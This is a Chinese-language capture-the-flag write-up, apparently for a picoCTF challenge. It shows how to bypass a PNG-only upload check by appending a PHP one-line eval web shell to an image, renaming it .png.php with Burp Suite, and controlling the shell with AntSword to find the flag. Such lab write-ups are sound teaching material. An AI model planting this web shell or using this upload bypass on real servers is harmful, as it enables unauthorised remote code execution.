Description
I found a web app that can help process images: PNG images only!
这应该是个上传漏洞了,十几年没用过了,不知道思路是不是一样的,以前的思路是通过上传漏洞想办法上传一个木马,拿到webshell,今天试试看能不能成功。
随便翻一翻源码没有找到什么有用的信息,只找到一个robots.txt
(这还是最近才学到的给Google提供的map文件)
robots.txt
发现如下信息
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/
有一个/uploads/
文件夹这里应该就是文件上传后的地址了
/instructions.txt
文件信息如下,大意是提交时验证.png
扩展名,然后还要验证文件字节的正确性
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
那我i们就试一试,上传一个非png文件提示需要.png
后缀,把非png文件后缀改为.png
发现后端也有有文件头验证,可能这就是/instructions.txt
所说
随便制作一个png图片(直接截图保存),越小越好,便于我们查看修改文件信息,上传png图片
使用Burpsuite抓包,查看请求信息Content-Type: image/png
这应该就是后端的验证关键了吧
修改png文件信息,加上PHP一句话木马,修改一下filename后缀加上.php
,(这里后缀的验证是前端js做的,用Burpsuite发送请求就不必考虑后缀的验证问题了)
如图返回上传成功
<?php @eval($_POST['hucker']);?>
接下来我们使用中国蚁剑连接木马地址,以前用菜刀,管理webshell,爬取网站文件信息挺好用的,百度找到一个中国蚁剑就决定试试,看介绍好像也是根据菜刀改的。这种黑客软件最好是去github下载原版,可以验证MD5,毕竟是开源的东西,一般不会存在后门。
连接我们的木马,前面我们通过robots.txt看到文件上传目录是uploads,组合一下得到地址[http://atlas.picoctf.net:49226/uploads/2.png.php
],输入密码hucker
连接
直接查看网站文件,找到一个GAZWIMLEGU2DQ.txt
里面就是flag了